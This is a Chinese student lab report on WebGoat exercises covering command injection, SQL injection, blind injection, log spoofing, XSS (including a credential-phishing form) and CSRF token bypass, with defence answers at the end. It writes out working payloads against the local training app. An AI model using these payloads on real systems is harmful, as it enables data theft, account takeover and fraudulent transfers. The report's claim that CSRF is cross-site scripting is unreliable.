目录

  • 实验目的
  • 实验内容
  • Webgoat前期准备
    • 出现的问题
  • (一)SQL注入攻击
    • 命令注入:Command Injection
    • 数字型注入:Numeric SQL Injection
    • 日志欺骗:Log Spoofing
    • 字符串注入:String SQL Injection
    • 实验室stage1:String SQL Injection
    • 实验室stage3:Numeric SQL Injection
    • 数据库后门:Database Backdoors
    • 数字型盲注入:Blind Numeric SQL Injection
    • 字符串盲注入:Blind String SQL Injection
  • (二)XSS攻击
    • 网络钓鱼XSS:Phishing with XSS
    • 存储型XSS攻击:Stored XSS Attacks
    • 反射型XSS攻击:Reflected XSS Attacks
  • (三)CSRF攻击
    • 跨站脚本攻击:Cross Site Request Forgery
    • XSS提升:CSRF Prompt By-Pass
    • CSRF令牌攻击:CSRF Token By-Pass
  • 实验问题回答
  • 实验总结

实验目的

理解常用网络攻击技术的基本原理。

  • 教程1
  • 教程2
  • 教程3

实验内容

  • SQL注入攻击
  • XSS攻击
  • CSRF攻击

Webgoat前期准备

  • 从GitHub上下载jar包
  • 拷贝到本地,并使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现INFO: Starting ProtocolHandler ["http-bio-8080"]则开启成功,可以看到占用8080端口,实验过程中不能关闭终端

  • 打开浏览器输入127.0.0.1:8080/WebGoat,使用默认名和密码登录
  • 在Webgoat中,solution是答案,hints是提示。打开界面,可以看到有一连串的课程。
  • 每完成一项课程就会有一个小对勾

出现的问题

  • 打开webgoat时左侧未出现课程

  • 解决方法:重新下载javaversion,具体参考这个链接

(一)SQL注入攻击

选择Injection Flaws开始实践

命令注入:Command Injection

命令注入攻击是对任何参数驱动的站点的严重威胁。

  • 查看hints:使用系统命令获取文件的内容
  • 也就是说这个操作是要向操作系统注入命令
  • ps -ef为例,获取进程信息
  • 我们在页面的源代码中加入我们的命令:在源代码中找到"Backdoors.help",在其后加上"& ps -ef

  • 保存后下拉框中可以看到我们刚刚修改的选项,点击view,可以看到进程信息

数字型注入:Numeric SQL Injection

  • 能看到给出的界面中显示了一条SQL语句SELECT * FROM weather_data WHERE station = ?,使用数字型SQL注入,可以在网页源代码中的选项后面加上or 1=1,这样就可以获得所有地区的天气信息了。
  • 还可用purpsutie抓包修改参数。
  • 打开purpsuite,点击Proxy->Options->Add添加一个监听端口,添加成功后运行
  • 点击浏览器中的preferences->Advanced->Network->Connection->settings->Manual proxy configuration:设置成刚刚绑定的端口号。
  • 接着在之前的课程页面上点击GO,在purpsuite->Proxy->Intercept可以看到捕获的包
  • 右键选择send to repeater,点击Repeater->Params可看到station的值为101,修改为“101 or 1=1”,点击GO

  • 再点击Intercept is on,这时可看到显示所有地区天气信息

日志欺骗:Log Spoofing

  • 顾名思义,就是添加假的日志信息来迷惑操作系统,目的是让用户名“admin”成功登录。
  • 在User Name输入zyl%0d%0aLogin Succeeded for username: admin,%0d是空格,%0a是换行
  • 点击登录出现两行,一行提示zyl登录失败,另一行提示admin登录成功,这些信息就会被保存到日志里了。

字符串注入:String SQL Injection

下面的表格允许用户查看他们的信用卡号码。尝试注入一个SQL字符串,导致显示所有信用卡号。尝试用户名“史密斯”。

  • 和数字型一样,我们的目的是构建一个永真式,由于字符串在数据库中是由'构成的,我们在last name中输入Smith' OR '1'='1所有的用户信息被输出

实验室stage1:String SQL Injection

  • 选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20
  • 目的是在不知道密码的情况下登录账户Neville
  • 在密码框中输入Smith' or 1=1 --,攻击成功可得到所有人员列表

实验室stage3:Numeric SQL Injection

  • 目的是用员工的账户登录,浏览boss的账户
  • 首先用Larry的账号登录,使用' or 1=1 --作为密码
  • 点击ViewProfile可以查看用户信息,那么我们要做的,就是点击这个按钮后跳转到boss的信息。
  • 查看网页源代码,可以看到索引的依据是员工ID,可是我们不知道老板的ID怎么办?数据库中可以使用排序来筛选信息,而老板一般工资都是最高的,将id的value改成101 or 1=1 order by salary desc --,点击ViewProfile
  • 得到老板的账户信息,攻击成功

数据库后门:Database Backdoors

  • 根据提示,输入id为101
  • 我们可以看到插入查询语句的字符串没有经过任何处理,可以输入多条语句进行增、删、改、查

  • 输入注入语句101; update employee set Password=5230执行,可以看见密码框变为了设置的密码

数字型盲注入:Blind Numeric SQL Injection

  • 目的是知道pin在pins 表里的值,先尝试101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );看pin的值是否大于100,显示数是合法的;再用500、1000、5000尝试,发现pin应该是小于5000的
  • 不断用二分法进行测试,发现pin为2364

字符串盲注入:Blind String SQL Injection

  • 目的依旧是要知道pin的值,最大的不同是要查询的字段是一个字符串而不是数值
  • 输入101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 1, 1) < ‘H’ );显示出错,判断其是否比字 母“H”小
  • 把1换成2101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 2, 1) < ‘H’ );,- - 经过多次测试和页面的返回数据,判断出第一个字符为“J”结果为Jill

(二)XSS攻击

选择Cross-Site Scripting (XSS)开始实践

网络钓鱼XSS:Phishing with XSS

使用XSS和HTML插入,您的目标是:
将html插入该请求凭据,添加javascript以实际收集凭据,将凭据发送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes…,要通过本课程,凭证必须发布到捕获者servlet。

  • 根据要求,我们编写代码,设计一个简单的登录界面获取用户名和密码并发送到指定地方

    <script>
    function hack(){ XSSImage=new Image;XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    }
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
    <H2>This feature requires account login:</H2>
    <br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
    <br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
  • 点击搜索,看到下面有个登录界面,登录提示

存储型XSS攻击:Stored XSS Attacks

  • 这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行
  • 根据题目要求,在留言板中输入<script>alert("You've been attacked!!!");</script>
  • 点击刚刚创建的帖子,弹出窗口

反射型XSS攻击:Reflected XSS Attacks

发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS随响应内容一起返回给浏览器,最后浏览器解析执行XSS代码

  • 就像上一个实验直接在输入框中输入代码一样,反射型XSS是不持久的,在提交到后台的过程中输入的JavaScript脚本就会被执行
  • 同样输入弹窗代码<script>alert("20165230 attack!!!");</script>,点击purse的同时页面就给出了反馈

(三)CSRF攻击

跨站脚本攻击:Cross Site Request Forgery

您的目标是向新闻组发送电子邮件。 该电子邮件包含一个图像,其URL指向恶意请求。 在本课中,URL应该指向“攻击”servlet,其中包含课程的“屏幕”和“菜单”参数,以及具有任意数值的额外参数“transferFunds”(如5000)。您可以通过查找“屏幕”来构建链接 “和”菜单“值在右侧的参数插入。 当时通过身份认证的CSRF电子邮件的接收者将转移资金。

  • 也就是说,要发送一个有恶意图片的电子邮件,目的是要转走用户的钱。
  • 在消息框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=5000" width="1" height="1" />,成功看到左边多了一个小绿√

XSS提升:CSRF Prompt By-Pass

  • 和上一个实验差不多,多了一个确认转账的任务
  • 输入代码
    <img src="attack?Screen=279&menu=900&transferFunds=5000"> <img src="attack?Screen=279&menu=900&transferFunds=confirm" >
  • 查看消息,看到转账消息:

CSRF令牌攻击:CSRF Token By-Pass

类似于CSRF课程,您的目标是向包含恶意请求转移资金的新闻组发送电子邮件。 要成功完成,您需要获取有效的请求令牌。 提供转账资金表单的页面包含一个有效的请求令牌。 转移资金页面的URL是本课程的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds = main”的“攻击”servlet。 加载此页面,读取令牌,并在伪造的请求中附加令牌以传输数据。 当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查。

  • 在前面实验的基础上,使用令牌传输数据
  • 输入代码
    <script> var readToken = function(){ var doc = document.getElementById("frame1").contentDocument var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value"); alert(token); var frame2 = document.getElementById("frame2"); frame2.src = "attack?Screen=277&menu=900&transferFunds=4000&CSRFToken="+token; } </script> <iframe id="frame2" ></iframe> <iframe id="frame1" onload="readToken()" src="attack?Screen=277&menu=900&transferFunds=main" ></iframe>
  • 按之前的步骤操作

实验问题回答

  • SQL注入攻击原理,如何防御

    • 程序对用户输入数据的合法性没有判断就直接插入查询语句,攻击者就可以添加额外的SQL语句或使用注释字符得到额外的信息

      • 对输入的字符串进行处理,筛除特殊字符
      • 普通用户与系统管理员用户的权限要有严格的区分
  • XSS攻击的原理,如何防御
    • 用户在输入框输入JavaScript代码,提交的时候直接执行,有办法获得网站的cookie

      • 表单提交的时候进行特殊字符的检测
      • 对输入框做长度限制
      • 在后台对数据进行过滤
  • CSRF攻击原理,如何防御
    • CSRF是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。一般存在XSS漏洞的网站,也极有可能存在CSRF漏洞。

      • 使用token:每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。
      • 将提交方法改为post
      • 定期清理cookie
      • 使用随机数对表单中的值进行验证

实验总结

这是最后一个实验了,做完特别有成就感。这次实验通过使用webgoat做了一系列的sql,CSRF和xss攻击,使我对这几种攻击方式有了更清楚的区分和理解,也通过实例让我们在平时生活中能更注意一下容易被攻击的细节,让我对我们这些菜鸡编出来的代码极度的否定态度,没有找不出来的漏洞,所以在信息安全这条道路上好好的体会琢磨吧,道阻且艰!

转载于:https://www.cnblogs.com/tiankunye/p/10922058.html

2018-2019-2 网络对抗技术 20165230 Exp9 :Web安全基础相关推荐

  1. 2018-2019-2 20165221 【网络对抗技术】-- Exp9 Web安全基础

    2018-2019-2 20165221 [网络对抗技术]-- Exp9 Web安全基础 目录: 一 . 实验要求 二 . 实验过程记录 1 . Webgoat安装 2 . SQL注入的攻击 命令注入 ...

  2. 2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础

    2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础 目录 实验内容与步骤 (一)Webgoat安装 (二)SQL注入攻击 1.命令注入(Command Injection ...

  3. 2019-2020-2 20175212童皓桢《网络对抗技术》 Exp9 Web安全基础

    2019-2020-2 20175212童皓桢<网络对抗技术> Exp9 Web安全基础 目录 1. 实验目标 2. 实验内容 2.1 SQL注入攻击 2.1.1 命令注入(Command ...

  4. 2018-2019-2 20165212《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165212<网络对抗技术>Exp9 Web安全基础 基础问题回答 1.SQL注入攻击原理,如何防御? 原理:SQL注入,就是通过把SQL命令插入到Web表单递 ...

  5. 20164317《网络对抗技术》Exp9 Web安全基础

    Exp9 Web安全基础 一.实践目标 理解常用网络攻击技术的基本原理. 在Webgoat,实践相关实验. SQL注入攻击 XSS攻击 CSRF攻击 二.实践过程 1.环境配置: 下好jar包然后放在 ...

  6. 2018-2019-2 20165330《网络对抗技术》Exp9 Web安全基础

    目录 基础问题 实验目的 实验内容 实验步骤 实验总结与体会 实验目的 本实践的目标理解常用网络攻击技术的基本原理. 返回目录 实验内容 WebGoat准备工作 SQL注入攻击 命令注入(Comman ...

  7. 2018-2019-2 网络对抗技术 20165202 Exp9 Web安全基础

    博客目录 一.实践内容 跨站脚本攻击XSS 跨站请求伪造CSRF SQL注入攻击 二.实验中遇到的问题及解决 三.基础问题回答 四.实验总结 一.实践内容 本实践的目标理解常用网络攻击技术的基本原理. ...

  8. 2018-2019-2 20165222《网络对抗技术》Exp9 Web安全基础

    1.实践过程记录 1.字符串型注入. 2.整数型注入 3.注入语句查看其他内容 4.xss是一种漏洞,这种漏洞允许用户输入脚本并且浏览器提交的时候不加编码.这种东西是最为流行并且有害的web应用的问题 ...

  9. 2018-2019-2 网络对抗技术 20165230 Exp8 Web基础

    目录 实验目的 实验内容 实验步骤 (一)Web前端HTML Apache HTML编程 (二) Web前端javascipt 基础知识理解 JavaScript编程 (三)Web后端:MySQL基础 ...

最新文章

  1. Tensorflow—创建图
  2. Python-OpenCV 杂项(三): 程序性能的检测和优化
  3. 第17课:循环神经网络(RNN)
  4. 【kafka】kafka 如何查看 内部 磁盘 网络 是否繁忙
  5. mysql排序后如何取最前和最后的数据_天天写order by,你知道Mysql底层如何执行吗?...
  6. Web开发HTTP中URI和URL的情感纠葛
  7. Vs 2017 连接 MySQL
  8. java开发实习报告_JAVA实习报告 (7000字)
  9. 【Simscape】用Simscape实现三维物理仿真(二)——创建一个斜坡滚球系统
  10. git操作与vscode,码市的结合
  11. .net core word转pdf_Enolsoft PDF to Word with OCR for Mac(PDF转Word软件)
  12. excel文档损坏打不开的原因是什么?
  13. 15个值得推荐的个人提升方法
  14. 图文并茂,一文读懂信号源
  15. 在ListView中实现button功能
  16. 变形金刚2的影评-《变形金刚3 天网反击战》
  17. Apollo之Canbus处理来自Control的Cmd
  18. Anylogic建立无标度网络
  19. 好用的综合revit插件丨revit标高中段线的隐藏方法
  20. 11、JS笔记-内置对象

热门文章

  1. shell开发跳板机功能脚本
  2. Codeforces Round #395 (Div. 2) - A
  3. Android自定义波浪加载圆形进度条——(自定义控件 一)
  4. UIImagePikerController 浅析
  5. win7系统待机模式下如何分配下载方法
  6. PowerShell2.0之桌面计算机维护(八)关闭或重启远程计算机
  7. Apache软件基金会宣布Apache Unom成为顶级项目
  8. Python面向对象2:类与对象的成员分析及self
  9. 高仿网易新闻频道选择器
  10. 洛谷1020导弹拦截